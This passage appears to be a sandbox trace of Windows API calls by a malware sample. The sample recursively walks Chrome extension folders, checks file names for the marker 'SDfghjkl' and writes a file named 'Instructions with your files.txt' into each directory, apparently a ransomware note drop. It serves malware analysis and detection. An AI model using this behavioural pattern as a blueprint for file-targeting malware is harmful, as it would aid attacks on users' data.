[0130.156] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ae0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ae0b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0130.157] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\.") returned 141
[0130.157] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ae0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ae0b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.157] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\..") returned 142
[0130.157] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ae0b10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86adfb70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xdd12c400, ftLastWriteTime.dwHighDateTime=0x1d0683e, nFileSizeHigh=0x0, nFileSizeLow=0x2686, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1
[0130.157] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json") returned 162
[0130.157] StrStrIW (lpFirst="verified_contents.json", lpSrch="SDfghjkl") returned 0x0
[0130.157] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ae0b10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86adfb70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xdd12c400, ftLastWriteTime.dwHighDateTime=0x1d0683e, nFileSizeHigh=0x0, nFileSizeLow=0x2686, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 0
[0130.158] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\Instructions with your files.txt") returned 172
[0130.158] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0130.158] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0130.159] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0130.159] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0130.159] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0130.159] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0130.159] CloseHandle (hObject=0x130) returned 1
[0130.159] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0130.159] GetProcessHeap () returned 0x810000
[0130.159] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0130.159] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ae0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ae0b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0
[0130.159] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\Instructions with your files.txt") returned 162
[0130.159] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.160] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.161] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.161] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.161] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.161] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.161] CloseHandle (hObject=0x12c) returned 1
[0130.161] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.161] GetProcessHeap () returned 0x810000
[0130.161] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.163] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.1_0", cAlternateFileName="")) returned 0
[0130.163] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\Instructions with your files.txt") returned 156
[0130.163] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.163] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.164] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.164] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.164] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.164] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.164] CloseHandle (hObject=0x128) returned 1
[0130.164] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.165] GetProcessHeap () returned 0x810000
[0130.165] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.165] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 1
[0130.165] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm") returned 123
[0130.165] GetProcessHeap () returned 0x810000
[0130.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.165] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*") returned 125
[0130.165] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.166] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\.") returned 125
[0130.166] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.166] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\..") returned 126
[0130.166] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836e0310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836e0310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5817.313.0.5_0", cAlternateFileName="581731~1.5_0")) returned 1
[0130.166] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned 138
[0130.166] GetProcessHeap () returned 0x810000
[0130.166] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.167] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\*") returned 140
[0130.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836e0310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836e0310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.170] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\.") returned 140
[0130.170] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836e0310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836e0310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.171] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\..") returned 141
[0130.171] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83637bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8363f0f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="angular.js", cAlternateFileName="")) returned 1
[0130.171] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned 149
[0130.171] StrStrIW (lpFirst="angular.js", lpSrch="SDfghjkl") returned 0x0
[0130.171] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83641800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83643f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0xa89c, dwReserved0=0x0, dwReserved1=0x0, cFileName="background_script.js", cAlternateFileName="BACKGR~1.JS")) returned 1
[0130.171] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned 159
[0130.171] StrStrIW (lpFirst="background_script.js", lpSrch="SDfghjkl") returned 0x0
[0130.171] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83646620, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83648d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x181aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_game_sender.js", cAlternateFileName="CAST_G~1.JS")) returned 1
[0130.171] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned 158
[0130.171] StrStrIW (lpFirst="cast_game_sender.js", lpSrch="SDfghjkl") returned 0x0
[0130.171] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8364db50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8364db50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x111e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_route_details.html", cAlternateFileName="CAST_R~1.HTM")) returned 1
[0130.171] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned 162
[0130.171] StrStrIW (lpFirst="cast_route_details.html", lpSrch="SDfghjkl") returned 0x0
[0130.171] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83652970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83657790, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x3a258, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_route_details.js", cAlternateFileName="CAST_R~1.JS")) returned 1
[0130.171] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned 160
[0130.171] StrStrIW (lpFirst="cast_route_details.js", lpSrch="SDfghjkl") returned 0x0
[0130.171] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8365ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836613d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0xce17, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_sender.js", cAlternateFileName="CAST_S~1.JS")) returned 1
[0130.171] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned 153
[0130.171] StrStrIW (lpFirst="cast_sender.js", lpSrch="SDfghjkl") returned 0x0
[0130.171] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83663ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836884d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836884d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_setup", cAlternateFileName="CAST_S~1")) returned 1
[0130.171] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup") returned 149
[0130.171] GetProcessHeap () returned 0x810000
[0130.171] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0130.172] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\*") returned 151
